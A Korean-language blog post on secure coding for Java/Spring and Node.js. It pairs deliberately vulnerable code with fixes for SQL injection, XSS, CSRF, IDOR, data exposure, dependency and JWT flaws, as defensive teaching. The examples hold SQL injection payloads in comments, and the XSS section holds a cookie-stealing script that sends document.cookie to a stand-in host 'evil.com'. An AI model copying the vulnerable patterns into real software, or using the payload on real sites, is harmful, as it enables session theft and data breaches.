Backend
home
🛡️

보안 취약점 실전 대응 — Java·JS 코드로 보는 공격 유형별 취약점과 수정법

태그
Computer Science
기술 정보
게시일
2026/05/02
최종 편집 일시
2026/05/02 14:50
1 more property

들어가며

보안 문제는 추상적인 개념으로만 이해하면 실무에서 놓치기 쉬움.
이 글은 Java(Spring Boot 기반 백엔드)JavaScript(Node.js / 브라우저) 코드를 직접 비교하면서, 각 공격 유형이 어떻게 발생하고 어떻게 막는지를 구체적으로 정리함.
구성: 취약한 코드 → 공격 시나리오 → 수정된 코드 → 핵심 원칙

1. SQL Injection

취약한 코드

// Java — JDBC 직접 문자열 연결 (위험) public User findUser(String username) { String sql = "SELECT * FROM users WHERE username = '" + username + "'"; // username = "' OR '1'='1" 이면 전체 유저 노출 return jdbcTemplate.queryForObject(sql, userRowMapper); }
Java
복사
// Node.js — mysql2 문자열 연결 (위험) async function findUser(username) { const sql = `SELECT * FROM users WHERE username = '${username}'`; // username = "' OR '1'='1'--" 이면 인증 우회 const [rows] = await db.query(sql); return rows[0]; }
JavaScript
복사

공격 시나리오

수정된 코드

// Java — PreparedStatement 사용 (안전) public User findUser(String username) { String sql = "SELECT * FROM users WHERE username = ?"; return jdbcTemplate.queryForObject(sql, userRowMapper, username); // ? 에 값이 바인딩될 때 SQL 구문으로 해석되지 않음 }
Java
복사
// Node.js — Parameterized Query 사용 (안전) async function findUser(username) { const sql = 'SELECT * FROM users WHERE username = ?'; const [rows] = await db.query(sql, [username]); // 배열로 넘긴 값은 드라이버가 자동 이스케이프 return rows[0]; }
JavaScript
복사

JPA / ORM 사용 시 주의점

// 위험 — JPQL에 직접 문자열 삽입 @Query("SELECT u FROM User u WHERE u.name = '" + name + "'") List<User> findByName(String name); // 안전 — Named Parameter 사용 @Query("SELECT u FROM User u WHERE u.name = :name") List<User> findByName(@Param("name") String name);
Java
복사
핵심: 사용자 입력을 SQL 구문과 절대 직접 결합하지 않음. 항상 바인딩 파라미터 사용.

2. XSS (Cross-Site Scripting)

취약한 코드

// 브라우저 — innerHTML에 직접 삽입 (위험) function renderComment(comment) { document.getElementById('comment-box').innerHTML = comment; // comment = "<script>fetch('https://evil.com?c='+document.cookie)</script>" // → 스크립트 실행 → 세션 쿠키 탈취 }
JavaScript
복사
// Spring MVC — 이스케이프 없이 응답 (위험) @GetMapping("/search") @ResponseBody public String search(@RequestParam String q) { return "<h2>검색어: " + q + "</h2>"; // q = "<script>악성코드</script>" 그대로 반환 }
Java
복사

수정된 코드

// 브라우저 — textContent 또는 직접 이스케이프 (안전) function renderComment(comment) { const box = document.getElementById('comment-box'); box.textContent = comment; // HTML 태그를 문자 그대로 출력 } // 또는 이스케이프 함수 사용 function escapeHtml(str) { return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;'); }
JavaScript
복사
// Spring — Thymeleaf는 기본적으로 자동 이스케이프 // th:text 사용 시 안전, th:utext는 위험 // <p th:text="${userInput}">안전</p> // <p th:utext="${userInput}">위험 — 절대 미사용</p> // API 응답 시 HtmlUtils 활용 import org.springframework.web.util.HtmlUtils; @GetMapping("/search") @ResponseBody public String search(@RequestParam String q) { String safe = HtmlUtils.htmlEscape(q); return "<h2>검색어: " + safe + "</h2>"; }
Java
복사

Content Security Policy (CSP) 헤더 설정

// Spring Security — CSP 헤더 추가 @Configuration public class SecurityConfig { @Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http.headers(headers -> headers .contentSecurityPolicy(csp -> csp .policyDirectives( "default-src 'self'; " + "script-src 'self'; " + // 인라인 스크립트 차단 "style-src 'self'; " + "img-src 'self' data:" ) ) ); return http.build(); } }
Java
복사
// Express.js — helmet 미들웨어로 CSP 설정 import helmet from 'helmet'; app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], // 외부 스크립트 차단 styleSrc: ["'self'"], imgSrc: ["'self'", 'data:'] } }));
JavaScript
복사
핵심: innerHTML, document.write는 사용자 입력에 절대 금지. textContent 또는 이스케이프 후 사용. CSP 헤더로 2차 방어선 구축.

3. CSRF (Cross-Site Request Forgery)

취약한 코드

// Spring Security — CSRF 비활성화 (위험) @Configuration public class SecurityConfig { @Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http.csrf(csrf -> csrf.disable()); // REST API라서 껐는데... return http.build(); } } // → 인증된 사용자의 세션을 가로채 임의 요청 가능
Java
복사

수정된 코드

// 방법 1: JWT + Stateless → CSRF 위협 자체가 없음 (쿠키 세션 미사용) // Authorization: Bearer <token> 헤더로 인증 → 타 사이트가 헤더 설정 불가 // 방법 2: 세션 기반이면 CSRF Token 필수 적용 http.csrf(csrf -> csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // 클라이언트가 쿠키에서 토큰 읽어 X-XSRF-TOKEN 헤더로 전송 );
Java
복사
// 프론트엔드 — axios에서 CSRF 토큰 자동 포함 import axios from 'axios'; // 쿠키에서 XSRF-TOKEN 읽어 헤더에 자동 첨부 axios.defaults.xsrfCookieName = 'XSRF-TOKEN'; axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN'; axios.defaults.withCredentials = true; // 이후 모든 요청에 자동 포함됨 await axios.post('/api/transfer', { amount: 100 });
JavaScript
복사

SameSite 쿠키 설정

// Spring Boot — 쿠키 SameSite 설정 @Bean public CookieSameSiteSupplier cookieSameSiteSupplier() { return CookieSameSiteSupplier.ofStrict(); // 타 사이트 요청에 쿠키 미전송 // Lax: GET 허용 / Strict: 완전 차단 / None: 항상 전송(HTTPS 필수) }
Java
복사
핵심: REST API는 JWT(Stateless)로 CSRF 자체를 무력화. 세션 기반이면 CSRF Token + SameSite=Strict 병행.

4. 인증·인가 취약점 (Broken Authentication & Authorization)

취약한 코드

// 수평적 권한 상승 — userId를 파라미터로 그대로 사용 (위험) @GetMapping("/orders/{userId}") public List<Order> getOrders(@PathVariable Long userId) { return orderService.findByUserId(userId); // /orders/1 → /orders/2 로 바꾸면 타인 주문 조회 가능 (IDOR) }
Java
복사
// Node.js — 역할 검증 없이 관리자 API 노출 (위험) app.delete('/admin/users/:id', async (req, res) => { await User.findByIdAndDelete(req.params.id); // 로그인만 하면 누구나 유저 삭제 가능 res.json({ success: true }); });
JavaScript
복사

수정된 코드

// 세션에서 현재 사용자 ID를 직접 가져와 검증 (안전) @GetMapping("/orders/mine") public List<Order> getMyOrders(@AuthenticationPrincipal UserDetails userDetails) { Long userId = ((CustomUserDetails) userDetails).getId(); return orderService.findByUserId(userId); // URL 파라미터 조작 불가 — 항상 본인 데이터만 조회 } // 관리자 전용 엔드포인트 — 어노테이션으로 역할 제한 @PreAuthorize("hasRole('ADMIN')") @DeleteMapping("/admin/users/{id}") public void deleteUser(@PathVariable Long id) { userService.delete(id); }
Java
복사
// Node.js — 미들웨어로 역할 검증 (안전) function requireRole(role) { return (req, res, next) => { if (!req.user || req.user.role !== role) { return res.status(403).json({ error: 'Forbidden' }); } next(); }; } app.delete('/admin/users/:id', authenticate, // 먼저 인증 requireRole('admin'), // 그 다음 역할 검증 async (req, res) => { await User.findByIdAndDelete(req.params.id); res.json({ success: true }); } );
JavaScript
복사
핵심: URL 파라미터를 신뢰하지 말 것. 현재 세션/토큰에서 사용자 정보를 직접 추출하고, 모든 엔드포인트에 역할 검증 적용.

5. 민감 정보 노출 (Sensitive Data Exposure)

취약한 코드

// 비밀번호 평문 저장 (최악) user.setPassword(inputPassword); // 그대로 DB에 저장 // 로그에 민감 정보 출력 (위험) log.info("User login: id={}, password={}", userId, password); // 에러 메시지에 내부 정보 노출 @ExceptionHandler(Exception.class) public ResponseEntity<String> handleError(Exception e) { return ResponseEntity.status(500).body(e.getMessage()); // Stack trace, DB 구조 등이 외부에 노출될 수 있음 }
Java
복사
// 응답에 민감 필드 그대로 반환 (위험) app.get('/users/:id', async (req, res) => { const user = await User.findById(req.params.id); res.json(user); // password, salt, internalNotes 등 전부 반환 });
JavaScript
복사

수정된 코드

// BCrypt으로 패스워드 해싱 (안전) import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); // cost factor 12 String hashed = encoder.encode(rawPassword); user.setPassword(hashed); // 로그인 시 검증 bool matches = encoder.matches(inputPassword, user.getPassword()); // 로그 — 민감 정보 제외 log.info("User login attempt: id={}", userId); // 비밀번호 절대 미기록 // 에러 핸들러 — 내부 정보 숨김 @ExceptionHandler(Exception.class) public ResponseEntity<Map<String, String>> handleError(Exception e) { log.error("Internal error", e); // 서버 로그에만 기록 return ResponseEntity.status(500) .body(Map.of("error", "서버 오류가 발생했습니다")); // 클라이언트엔 추상화 }
Java
복사
// 응답 시 민감 필드 제거 (안전) app.get('/users/:id', authenticate, async (req, res) => { const user = await User.findById(req.params.id) .select('-password -salt -__v'); // Mongoose: 특정 필드 제외 res.json(user); }); // 또는 DTO 패턴으로 명시적 화이트리스트 function toUserDTO(user) { return { id: user.id, name: user.name, email: user.email // password, role, internalData 등은 의도적으로 포함 안 함 }; }
JavaScript
복사
핵심: 비밀번호는 반드시 BCrypt/Argon2로 해싱. 로그엔 절대 평문 기록 금지. 응답은 필요한 필드만 화이트리스트 방식으로 반환.

6. 의존성(Dependency) 취약점

취약한 상황

// package.json — 버전 고정 안 됨 { "dependencies": { "lodash": "^4.0.0", // 취약한 버전 포함 가능 "log4js": "*" // 최악 — 아무 버전이나 설치 } }
JSON
복사
<!-- pom.xml — 오래된 버전 방치 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> <!-- Log4Shell 취약 버전 --> </dependency>
XML
복사

수정 및 관리 방법

# Node.js — 취약점 감사 및 수정 npm audit # 취약점 목록 확인 npm audit fix # 자동 수정 가능한 것 수정 npm audit fix --force # 강제 (메이저 업그레이드 포함, 주의) # 의존성 버전 고정 npm shrinkwrap # npm-shrinkwrap.json 생성 (CI/CD에 고정)
Bash
복사
# Java Maven — OWASP Dependency Check 플러그인 # pom.xml에 추가 # <plugin> # <groupId>org.owasp</groupId> # <artifactId>dependency-check-maven</artifactId> # <version>9.0.0</version> # </plugin> mvn dependency-check:check # CVE 데이터베이스와 대조하여 취약 의존성 리포트
Bash
복사
// GitHub Actions — 자동 의존성 보안 체크 // .github/workflows/security.yml // name: Security Audit // on: [push, pull_request] // jobs: // audit: // runs-on: ubuntu-latest // steps: // - uses: actions/checkout@v4 // - run: npm audit --audit-level=high // # high 이상 취약점 발견 시 빌드 실패
JavaScript
복사
핵심: 버전은 반드시 고정. CI/CD 파이프라인에 npm audit / dependency-check 통합. GitHub Dependabot 활성화로 자동 PR 받기.

7. JWT 취약점

취약한 코드

// 알고리즘 None 공격 — 서명 검증 생략 const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] // 'none' 포함 시 서명 없는 토큰 허용 }); // 약한 시크릿 키 const token = jwt.sign(payload, 'secret'); // 무차별 대입으로 쉽게 크랙
JavaScript
복사
// 알고리즘 미검증 (위험) Claims claims = Jwts.parserBuilder() .setSigningKey(key) .build() .parseClaimsJws(token) .getBody(); // 알고리즘 변조 공격에 취약할 수 있음
Java
복사

수정된 코드

// Node.js — 알고리즘 명시 고정 + 강력한 시크릿 (안전) import crypto from 'crypto'; // 충분히 긴 랜덤 시크릿 생성 (최초 1회) const SECRET = crypto.randomBytes(64).toString('hex'); // 환경변수에 저장 function issueToken(payload) { return jwt.sign(payload, SECRET, { algorithm: 'HS256', // 알고리즘 고정 expiresIn: '1h', // 만료 시간 필수 issuer: 'myapp' // 발급자 검증용 }); } function verifyToken(token) { return jwt.verify(token, SECRET, { algorithms: ['HS256'], // none, RS256 등 다른 알고리즘 거부 issuer: 'myapp' }); }
JavaScript
복사
// Java — jjwt 라이브러리 안전한 사용 import io.jsonwebtoken.*; import io.jsonwebtoken.security.Keys; public class JwtUtil { // 256비트 이상 키 사용 private final SecretKey key = Keys.secretKeyFor(SignatureAlgorithm.HS256); public String generateToken(String userId) { return Jwts.builder() .setSubject(userId) .setIssuedAt(new Date()) .setExpiration(new Date(System.currentTimeMillis() + 3600_000)) // 1시간 .signWith(key) // 알고리즘 자동 결정 (키 길이 기반) .compact(); } public String validateToken(String token) { return Jwts.parserBuilder() .setSigningKey(key) .build() .parseClaimsJws(token) // 서명·만료 모두 자동 검증 .getBody() .getSubject(); } }
Java
복사
핵심: 알고리즘은 명시적으로 고정 ('none' 절대 불허). 시크릿 키는 최소 256비트 랜덤값. 만료 시간 반드시 설정. 키는 환경변수로 관리.

공격 유형별 방어 체크리스트

공격 유형
Java
JavaScript
공통
SQL Injection
PreparedStatement, JPA @Param
Parameterized Query
ORM 사용
XSS
HtmlUtils.htmlEscape, Thymeleaf th:text
textContent, DOMPurify
CSP 헤더
CSRF
CookieCsrfTokenRepository
axios xsrf 설정
SameSite=Strict
인증·인가
@PreAuthorize, @AuthenticationPrincipal
requireRole 미들웨어
JWT Stateless
민감 정보
BCrypt, 에러 추상화
DTO 화이트리스트
로그 마스킹
의존성 취약점
OWASP dependency-check
npm audit
Dependabot
JWT
Keys.secretKeyFor
algorithms 고정
만료 시간 설정